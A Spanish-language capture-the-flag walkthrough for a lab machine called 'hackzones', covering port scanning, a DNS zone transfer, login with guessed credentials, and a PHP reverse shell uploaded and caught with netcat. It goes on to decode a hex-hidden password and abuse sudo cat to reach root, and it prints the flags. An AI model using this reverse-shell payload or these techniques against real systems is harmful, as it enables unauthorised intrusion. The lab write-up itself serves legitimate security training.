CTF Hackzones Intermediate

URL Download CTF = https://drive.google.com/file/d/1v4vbcRabLahhepUYP2mM-WONLskKPjQr/view?usp=sharing

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip hackzones.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_mount.sh hackzones.tar

Info:

___________________¶¶
____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶
___¶________________5¶¶¶¶¶¶¶¶5_¶¶
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5

                                           
 ##   ##    ##       ####   ###  ##  #######  ######   ####       ##     ######    #####  
 ##   ##   ####     ##  ##   ##  ##   ##   #   ##  ##   ##       ####     ##  ##  ##   ## 
 ##   ##  ##  ##   ##        ## ##    ## #     ##  ##   ##      ##  ##    ##  ##  #       
 #######  ##  ##   ##        ####     ####     #####    ##      ##  ##    #####    #####  
 ##   ##  ######   ##        ## ##    ## #     ## ##    ##   #  ######    ##  ##       ## 
 ##   ##  ##  ##    ##  ##   ##  ##   ##   #   ##  ##   ##  ##  ##  ##    ##  ##  ##   ## 
 ##   ##  ##  ##     ####   ###  ##  #######  #### ##  #######  ##  ##   ######    #####  
                                                                                          
        v2.0 by d1se0                                                                     
                                         

Estamos desplegando la máquina vulnerable, espere un momento.

Creador: d1se0

Maquina: hackzones

Máquina desplegada, su dirección IP es --> 172.18.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 05:35 EST
Nmap scan report for 172.18.0.2
Host is up (0.000041s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8e:a2:56:38:e1:85:2f:21:2b:55:ec:29:5b:f8:63:d9 (ECDSA)
|_  256 0f:4b:38:fa:04:33:c7:01:5a:98:12:05:2d:42:cf:1a (ED25519)
53/tcp open  domain  ISC BIND 9.18.28-0ubuntu0.24.04.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.18.28-0ubuntu0.24.04.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: HackZones.hl - Seguridad para tu Empresa
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.50 seconds

Si probamos a ver la pagina web que tiene abierta, veremos que a simple vista no vemos nada interesante, pero si inspeccionamos el codigo, veremos la siguiente parte:

<a href="#" style="position: absolute; left: -9999px;">
    <img src="data:image/png;TlM6IGhhY2t6b25lLmhs" alt="HackZone">
</a>

Es bastante interesante la cadena TlM6IGhhY2t6b25lLmhs parece un Base64, por lo que si lo decodificamos, veremos lo siguiente:

NS: hackzone.hl

Parece ser como que nos da un Name Server de algun dominio llamado hackzone.hl, pero si lo probamos a poner en el hosts y buscarlo por ese dominio, no va a funcionar, ya que si nos bajamos un poco mas en el footer de la pagina, veremos otro dominio llamado hackzones.hl que ese si nos llevara a un login de lo que parece unos servidores DNS:

Dominio puerto 80

Por lo que meteremos ese ultimo dominio en el archivo hosts:

nano /etc/hosts

#Dentro del nano
<IP>         hackzones.hl

Lo guardamos y ahora lo buscaremos en el navegador web.

URL = http://hackzones.hl/

Como dije antes parece ser un login de unos servidores DNS y sabiendo que el puerto 53 esta abierto, vamos a probar a extraer la informacion del archivo de zona de los servidores DNS (ZoneTransfer) por lo que probaremos con el dominio que no nos funciono llamado hackzone.hl.

Transferencia de zona del archivo DNS

Pondremos el siguiente comando:

dig @<IP> hackzone.hl AXFR

Info:

; <<>> DiG 9.20.2-1-Debian <<>> @172.19.0.2 hackzone.hl AXFR
; (1 server found)
;; global options: +cmd
hackzone.hl.		604800	IN	SOA	ns.hackzone.hl. root.hackzone.hl. 2 604800 86400 2419200 604800
hackzone.hl.		604800	IN	NS	ns.hackzone.hl.
flag.hackzone.hl.	604800	IN	TXT	"FLAG{05964683-55675-23423-985046}"
ns.hackzone.hl.		604800	IN	A	127.0.0.1
User.hackzone.hl.	604800	IN	TXT	"mrRobot@hackzone.hl"
www.hackzone.hl.	604800	IN	A	127.0.0.1
hackzone.hl.		604800	IN	SOA	ns.hackzone.hl. root.hackzone.hl. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 172.19.0.2#53(172.19.0.2) (TCP)
;; WHEN: Fri Nov 15 05:48:28 EST 2024
;; XFR size: 7 records (messages 1, bytes 286)

Por lo que vemos hay como una cuenta de correo llamada mrRobot@hackzone.hl pero en el login nos pide un usuario, por lo que vamos a meter como usuario mrRobot y como contraseña, nos servira el propio dominio que tiene asociado en el correo llamado hackzone.hl.

User = mrRobot
Pass = hackzone.hl

Esto nos llevara a un panel de administrador, en el que si vemos el perfil del administrador no tiene imagen y encima podemos subir un archivo, por lo que probaremos a subir un .php con una reverse shell:

Escalate user www-data

<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

Ahora teniendo el archivo, le daremos a Browser, seleccionamos el archivo .php que creamos, y le daremos a Subir Archivo, si todo a salido bien nos pondra un pensaje en una pagina lo siguiente:

El archivo shell.php se ha subido correctamente. 

Ahora si nos vamos por intuicion a la tipica carpeta llamada uploads/ podremos ver que si existe, igualmente se puede hacer con Gobuster.

Nos pondremos antes a la escucha:

nc -lvnp <PORT>

Y ahora ejecutaremos el archivo .php:

URL = http://hackzones.hl/uploads/shell.php

Y si volvemos a donde teniamos la escucha veremos algo tal que asi:

listening on [any] 7777 ...
connect to [192.168.5.147] from (UNKNOWN) [172.19.0.2] 39948
whoami
www-data

Por lo que ya seremos el usuario www-data.

Escalate user mrrobot

Si nos vamos a la siguiente direccion, veremos una carpeta bastante rara.

cd /var/www/html/

Veremos una carpeta llamada supermegaultrasecretfolder, si entramos dentro de ella, veremos un archivo llamado secret.sh, pero si lo intentamos ejecutar, nos pone que solo se puede como root:

Este script debe ser ejecutado como root.

Pero si nos dejara leerlo:

#!/bin/bash

if [ "$(id -u)" -ne 0 ]; then
  echo "Este script debe ser ejecutado como root."
  exit 1
fi

p1=$(echo -e "\x50\x61\x73\x73\x77\x6f\x72\x64") 
p2="\x40"                                       
p3="\x24\x24"                                  
p4="\x21\x31\x32\x33"                           

echo -e "${p1}${p2}${p3}${p4}"

Vemos lo que parece una frase codificada, si lo decodificamos se veria algo tal que asi:

Password@$$!123

Por lo que parece una contraseña, probaremos a meterla para el usuario mrrobot.

su mrrobot

Y vemos que ya somos dicho usuario, por lo que leeremos la flag.

user.txt

c187e24646744125f041582154a534bb

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for mrrobot on 3e83d48104c8:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mrrobot may run the following commands on 3e83d48104c8:
    (ALL : ALL) NOPASSWD: /usr/bin/cat

Por lo que vemos podemos ejecutar el binario cat como root, si nos vamos a la siguiente directorio:

cd /opt

Veremos un archivo llamado SistemUpdate el cual tiene los siguientes permisos:

-rw------- 1 root root 1827 Nov 15 11:28 SistemUpdate

Por lo que utilizaremos cat como root para poder leerlo:

sudo cat SistemUpdate

Info:

Reading package lists... Done
Building dependency tree       
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  libc-bin libc-dev-bin libc6 libc6-dev libc6-i386
5 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 8,238 kB of archives.
After this operation, 1,024 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc6 amd64 2.31-0ubuntu9.9 [2,737 kB]
Get:2 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc-bin amd64 2.31-0ubuntu9.9 [635 kB]
Get:3 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc6-dev amd64 2.31-0ubuntu9.9 [2,622 kB]
Get:4 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc-dev-bin amd64 2.31-0ubuntu9.9 [189 kB]
Fetched 8,238 kB in 2s (4,119 kB/s)
Extracting user root:rooteable from packages: 50% 
Extracting templates from packages: 100%
Preconfiguring packages ...
(Reading database ... 275198 files and directories currently installed.)
Preparing to unpack .../libc6_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc6:amd64 (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc-bin_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc-bin (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc6-dev_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc6-dev:amd64 (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc-dev-bin_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc-dev-bin (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Setting up libc6:amd64 (2.31-0ubuntu9.9) ...
Setting up libc-bin (2.31-0ubuntu9.9) ...
Setting up libc-dev-bin (2.31-0ubuntu9.9) ...
Setting up libc6-dev:amd64 (2.31-0ubuntu9.9) ...
Processing triggers for libc-bin (2.31-0ubuntu9.9) ...

Veremos todo esto, pero si nos centramos en la siguiente linea:

Extracting user root:rooteable from packages: 50%

Vemos lo que parece la contraseña de root, por lo que probaremos a usarla con root:

su root

Ponemos rooteable y como veremos ya seremos root, por lo que leeremos la flag.

cd ~

TrueRoot.txt

f034967ad357f8f912740101d3af5e71

Last updated